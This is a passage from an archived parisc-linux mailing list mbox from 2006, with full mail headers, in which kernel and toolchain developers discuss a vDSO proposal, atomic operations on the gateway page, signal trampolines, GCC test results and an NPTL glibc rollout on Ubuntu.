these are impossible to do if gdb can write to code, thus we put the
atomic ops on the gateway page (which has the aforementioned special
properties).

The rest of your suggestions are great. Signal trampoline handlers are
#1 on the list of cleanups. We already know HPUX does something
similar.

> As part of testing this, I also noticed that our gas does not support
> cfi directives that were added to binutils some time ago. I've submitted
> a patch for this.
>
> glibc will need some work to get this to work. As a first step we need a
> dl-sysdep.h that defines:
>   #define NEED_DL_SYSINFO_DSO     1

Thanks!

> If you use upstream glibc this is already enabled for all targets, but
> debian glibc will need this added if you want to test.
>
> Anyway, please let me know if you have any comments.

What testing do we need to do before you check this into git?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] vdso for parisc-linux
Date: Tue, 31 Oct 2006 14:08:33 +0800
Lines: 80
Approved: news@gmane.org
Message-ID: <4546E861.9050909@tausq.org>
References: <4544A34A.6080700@tausq.org>
	<119aab440610300825l4cfd056fi21738f63f3d99d72@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624204 21488 80.91.229.3 (22 Nov 2014 02:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:24 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Oct 2006 06:08:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 31 Oct 2006 07:08:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0FE6C7D89E;
	Mon, 30 Oct 2006 23:08:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04367-09; Mon, 30 Oct 2006 23:08:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2689C7D8A6;
	Mon, 30 Oct 2006 23:08:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 346747D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 23:08:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04150-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 23:08:28 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB7B7D89A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 23:08:28 -0700 (MST)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1GemnN-0002GN-3K; Tue, 31 Oct 2006 14:08:21 +0800
User-Agent: Thunderbird 1.5.0.7 (Windows/20060909)
In-Reply-To: <119aab440610300825l4cfd056fi21738f63f3d99d72@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X9p1cY1sX1VpCOuYY2FyVP13SDc4NAyx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24055

>> Some things to consider:
>> 1) The vdso object need to be mapped to userspace apps at some "default"
>> location. In fact the kernel will look for an available vma using
>> get_unmapped_area(). Right now I've arbitrarily picked 0x8000'0000. This
>> should be reviewed.... one idea is to just map them at at the same place
>> that shared libs are mapped (near 0x4000'0000). The bigger concern is
>> whether we should make the mapping with MAP_SHARED so that the shared
>> area is mapped congruent in all userspace apps that use the vdso. ppc
>> doesn't do this.
> 
> Users may enable or disable the vDSO on their system as a
> configuration option. Therefore glibc can't rely on the vDSO being
> present. How would this effect a prelinking implementation for hppa? I

glibc looks for a special ELF AUX header to find out about the address
of the vdso. If it's not present, then it won't call the vdso....

The implementation for this is cleaner in cvs glibc than in debian glibc.

I'm not quite sure how this interacts with prelink.

> think I would rather see the vDSO at a high address, and enable
> MAP_SHARED. What is wrong with enabling MAP_SHARED?

I can't think of one, although it needs to be marked MAY_WRITE so that
if we put a breakpoint the page will get COW'ed. Need to look at this
some more.

>> 4) I haven't hooked up all the actual vdso functions yet, but with this
>> patch userspace can see the functions exposed from the kernel, we can
>> use gdb to put breakpoints in the vdso, etc.
> 
> You use the word "can", but have you tried to put breakpoints in the
> vDSO code pages?

yes, it works.

> atomic ops are *not* prime candidates for vDSO's, I was wrong about
> this. There are special requirements for the atomic operations which
> require access to kernel locks, no scheduling, and no signals.  All of
> these are impossible to do if gdb can write to code, thus we put the
> atomic ops on the gateway page (which has the aforementioned special
> properties).

i can't quite see how lws disables scheduling... maybe you can enlighten
me :)

> The rest of your suggestions are great. Signal trampoline handlers are
> #1 on the list of cleanups. We already know HPUX does something
> similar.

Well, there are two parts:
1) Finding "sigreturn"
2) Finding the system state on the stack

Right now this is all done on parisc-linux by poking in memory using
magic constants.

On HPUX, #1 is available symbolically, but #2 still requires poking in
memory using magic constants. It is particularly nasty on HPUX because
the kernel can store state in either narrow or wide mode and the offsets
are not fixed.

>> If you use upstream glibc this is already enabled for all targets, but
>> debian glibc will need this added if you want to test.
>>
>> Anyway, please let me know if you have any comments.
> 
> What testing do we need to do before you check this into git?

What I have is just infrastructure, we need to add some functionality
into it :)

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit Userland
Date: Mon, 30 Oct 2006 20:04:51 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200610310104.k9V14qZ6021106@hiauly1.hia.nrc.ca>
References: <119aab440610300743y2eae2a5fje17535527eb17860@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624204 21496 80.91.229.3 (22 Nov 2014 02:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:24 +0000 (UTC)
Cc: alan.mock@gmail.com,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Oct 2006 01:28:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 31 Oct 2006 02:28:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 681D47D8AA;
	Mon, 30 Oct 2006 18:28:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01920-01; Mon, 30 Oct 2006 18:28:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF2CF7D89E;
	Mon, 30 Oct 2006 18:28:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BF577D896
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 18:28:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01281-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 18:28:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 982B77D895
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 18:28:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k9V14qqR021107;
	Mon, 30 Oct 2006 20:04:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k9V14qZ6021106;
	Mon, 30 Oct 2006 20:04:52 -0500 (EST)
In-Reply-To: <119aab440610300743y2eae2a5fje17535527eb17860@mail.gmail.com>
	from "Carlos O'Donell" at Oct 30, 2006 10:43:25 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6JBzdJBNbUkoDenGPWgnugFkZ2hlN8oZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24056

> Post the results of the testsuite to the list.

I regularly post GCC test results to <http://gcc.gnu.org/ml/gcc-testresults/>.

At the moment, there's some small difference in results using 32 and 64-bit
kernels.  The 22_locale/time_get/get_date/wchar_t/4.cc execution test only
fails on my c3k with a 32-bit kernel.  Also, gfortran.dg/cray_pointers_2.f90
tests sometimes file on 32-bit kernels.  There are still occasional problems
with expect/tcl truncating the output in tests that generate a lot of output.

There are some libjava fails that appear to be pthread problems, but
I also see similar failures on hpux.  So, I tend to blame the libjava
implementation which is quite complex and fun to debug.

Otherwise, we are as good as x86 ;)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NPTL Glibc on Ubuntu this week
Date: Tue, 31 Oct 2006 09:49:35 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <1162306175.5738.6.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============2099052943=="
X-Trace: ger.gmane.org 1416624204 21499 80.91.229.3 (22 Nov 2014 02:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:24 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Oct 2006 14:50:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 31 Oct 2006 15:50:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BBD07D8B1;
	Tue, 31 Oct 2006 07:50:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12058-04; Tue, 31 Oct 2006 07:50:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A75727D8B3;
	Tue, 31 Oct 2006 07:50:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 509727D8AA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 07:50:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11426-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 07:50:05 -0700 (MST)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id E921B7D8A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Oct 2006 07:50:04 -0700 (MST)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MO-MR003.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J800028U97EMGE0@VL-MO-MR003.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 31 Oct 2006 09:50:02 -0500 (EST)
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nFpycaxvRkkeaauPfGRqSuNmdWkvKJMI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24057


--===============2099052943==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-DRvxaa7kPsukXGW21HEO"


--=-DRvxaa7kPsukXGW21HEO
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hey'all!

We're just getting ready to roll out the new glibc on Ubuntu.  Last I
checked, Carlos said that there was libthread ABI breakage.  We didn't
bump the SOVERSION, though.  Even if we did bump it, Debian/Ubuntu don't
track the thread package version separately right now, so we'd never see
it in package upgrades - things will just silently break.  So far the
plan is to ignore it, since updating from dapper to feisty is a by-hand
operation and the basic tools aren't threaded.  So upgrades will work,
they'll just suck.

So this is a final check before we roll - any other dragons hiding in
the waters that we might worry about?

--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-DRvxaa7kPsukXGW21HEO
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFR2J/5M5hmdCYCpkRAp6LAKCkngcVfCGy1escsYVb/Dg9jWJTUgCg6XKa
S4DVwd4pEUJbbxXA7GkeKWM=
=Nns9
-----END PGP SIGNATURE-----

--=-DRvxaa7kPsukXGW21HEO--


--===============2099052943==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============2099052943==--



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] vdso for parisc-linux
Date: Wed, 1 Nov 2006 10:04:39 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <119aab440611010704h2746644bu64d742424a89e030@mail.gmail.com>
References: <4544A34A.6080700@tausq.org>
	<119aab440610300825l4cfd056fi21738f63f3d99d72@mail.gmail.com>
	<4546E861.9050909@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624205 21503 80.91.229.3 (22 Nov 2014 02:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:25 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Nov 2006 15:04:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 01 Nov 2006 16:04:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E46237D8FF;
	Wed,  1 Nov 2006 08:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30924-10; Wed, 1 Nov 2006 08:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CDE77D8F5;
	Wed,  1 Nov 2006 08:04:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD69D7D8EB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 08:04:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30924-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Nov 2006 08:04:42 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id 267347D8E4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 08:04:41 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1740406ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 01 Nov 2006 07:04:40 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=BF2yb+DDLmg0e1S/56F/klsH2Wj2p9JKGTJtrX/7anypB7aaIUCLq8kQo2wG/rBOok3Nube84al6tfEb7aOx0JeTXo1kLwUnJ8OZg8DmZm2G8cUkdsCXtWgH9KWz0I2ychbrcLhjgmUS2oczb/TBhi2Y60D/YF6DBD+Ru921rxE=
Original-Received: by 10.78.127.6 with SMTP id z6mr8955738huc;
	Wed, 01 Nov 2006 07:04:40 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Wed, 1 Nov 2006 07:04:39 -0800 (PST)
In-Reply-To: <4546E861.9050909@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: a3a186b81421b463
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: roVxfdIQYW0+VLuGbmZp7n50amthc5vv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24058

On 10/31/06, Randolph Chung <randolph@tausq.org> wrote:
> > atomic ops are *not* prime candidates for vDSO's, I was wrong about
> > this. There are special requirements for the atomic operations which
> > require access to kernel locks, no scheduling, and no signals.  All of
> > these are impossible to do if gdb can write to code, thus we put the
> > atomic ops on the gateway page (which has the aforementioned special
> > properties).
>
> i can't quite see how lws disables scheduling... maybe you can enlighten
> me :)


> Well, there are two parts:
> 1) Finding "sigreturn"
> 2) Finding the system state on the stack
>
> Right now this is all done on parisc-linux by poking in memory using
> magic constants.
>
> On HPUX, #1 is available symbolically, but #2 still requires poking in
> memory using magic constants. It is particularly nasty on HPUX because
> the kernel can store state in either narrow or wide mode and the offsets
> are not fixed.

On parisc-linux there is *always* a 32-bit system state on the stack.
If you have a 64-bit kernel there is an auxiliary section which
contains the register top-halves. I think we can conjure up some magic
to determine which structure is on the stack.

> > What testing do we need to do before you check this into git?
>
> What I have is just infrastructure, we need to add some functionality
> into it :)

Yes, but if it gets checked into git it makes it easier to keep it
from bitrotting.
With your HK timezone it makes coordinating more difficult.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] vdso for parisc-linux
Date: Wed, 1 Nov 2006 10:19:42 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <119aab440611010719v3a7d0358jcd7be64afb769b8a@mail.gmail.com>
References: <4544A34A.6080700@tausq.org>
	<119aab440610300825l4cfd056fi21738f63f3d99d72@mail.gmail.com>
	<4546E861.9050909@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624205 21507 80.91.229.3 (22 Nov 2014 02:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:25 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Nov 2006 15:20:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 01 Nov 2006 16:20:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41CBD7D8FA;
	Wed,  1 Nov 2006 08:19:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31434-04; Wed, 1 Nov 2006 08:19:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 640807D900;
	Wed,  1 Nov 2006 08:19:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD2E97D8F7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 08:19:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31434-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Nov 2006 08:19:46 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.226])
	by free.linux.hp.com (Postfix) with ESMTP id 4F4257D8E4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 08:19:46 -0700 (MST)
